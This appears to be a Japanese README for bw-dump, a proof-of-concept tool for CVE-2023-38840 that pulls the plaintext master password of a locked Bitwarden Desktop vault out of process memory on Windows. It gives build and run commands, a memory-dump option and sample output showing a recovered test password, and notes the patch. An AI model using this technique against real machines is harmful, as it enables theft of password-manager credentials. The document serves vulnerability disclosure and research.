
(CVE-2023-38840) の概念実証で、ロックされた Bitwarden ボールトから平文のマスターパスワードを抽出します。
Updated 2: この脆弱性には CVE-2023-38840 が割り当てられました。
Updated: パッチがGitHubプルリクエスト (5813) で公開され、脆弱性が修正されました。影響を受けるバージョンはBitwarden Desktop 2023.7.0 以下です。
Windows システム上のロックされたBitwardenボールト(少なくとも一度はロック解除されている必要があります)からマスターパスワードを抽出する概念実証ツールです。現在のセッションでのみ機能し、システムの再起動後は機能しません。管理者権限は不要です。
ブログが公開されており、以下から入手できます: https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/
bw-dumpをMicrosoft EdgeとBitwardenブラウザ拡張機能で使用する短いデモです。最新のツールはBitwarden Desktopでのみ動作します。
https://user-images.githubusercontent.com/9108334/191377244-f0e9a123-e4f0-43b0-90b5-697fc005ae7b.mov
警告: Windows Defenderはコンパイルされたバイナリを悪意のあるものとして報告します!
ストリップされたバイナリをビルドするには、次のように入力します:
go build -ldflags="-s -w"
Linuxシステムでビルドするには、次のように入力します:
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
バイナリをビルドして実行するだけです。管理者権限は不要です。Bitwardenプロセスが実行されていることを確認してください。さらに、ボールトは少なくとも一度はロック解除されている必要があります。その後、マスターパスワードが一定期間メモリに保存されます。
-d オプションを渡すこともできます。パターンが見つかったときにメモリ領域をダンプします。各結果について、現在の作業ディレクトリに dump-pid-<PID>-<MEM-REGION>.hex というファイル名が作成されます。
出力例
PS C:\Users\Tester\dev\go\bw-dump> bw-dump.exe
888 88b, Y8b Y8b Y888P 888 88e
888 88P' Y8b Y8b Y8P 888 888b 8888 8888 888 888 8e 888 88e
888 8K Y8b Y8b Y 888 888 8888D 8888 8888 888 888 88b 888 888b
888 88b, Y8b Y8b 888 888P Y888 888P 888 888 888 888 888P
888 88P' Y8P Y 888 88" "88 88" 888 888 888 888 88"
888
Created by @NazMarkuta at Red Maple 888
BW-Dump is a Windows forensics tool that extracts Bitwarden master passwords from locked vaults
(must be unlocked at least once) by reading process memory using Windows API functions which
searches for magic byte patterns. The tool doesn't require any special (admin) permissions.
Now supports Bitwarden Desktop App (v2023.1.1) running on Windows 10 or 11. The tool (may)
still support older Bitwarden Chromium extension versions (v2022.6.0) and below.
[+] Searching for processes...
[+] PID: 4228
[+] EXEName: Bitwarden.exe
[+] CMDLine: "C:\Users\Tester\AppData\Local\Programs\Bitwarden\Bitwarden.exe" --type=renderer --user-data-dir="C:\Users\Tester\AppData\Roaming\Bitwarden" --app-path="C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1675782335888921 --launch-time-ticks=4007177473 --mojo-platform-channel-handle=2508 --field-trial-handle=1792,i,3673052334935287551,6849534636950916074,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
[+] Searching PID memory (4228)
[+] Found pattern at MemBaseAddr (0xb0800554000)
[+] Found password prefix bytes at offset (0xc121)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb0800a8c000)
[+] Found password prefix bytes at offset (0x1104)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb08014bc000)
[+] Found password prefix bytes at offset (0x62aa)
[+] Password recovered: "SUPER-SECURE-password8"
PS C:\Users\Tester\dev\go\bw-dump>
マスターパスワードをメモリから消去するには2つの方法(おそらくそれ以上)があります:
Bitwarden.exe プロセスを終了します。Windowsが何らかのガベージコレクションを行います。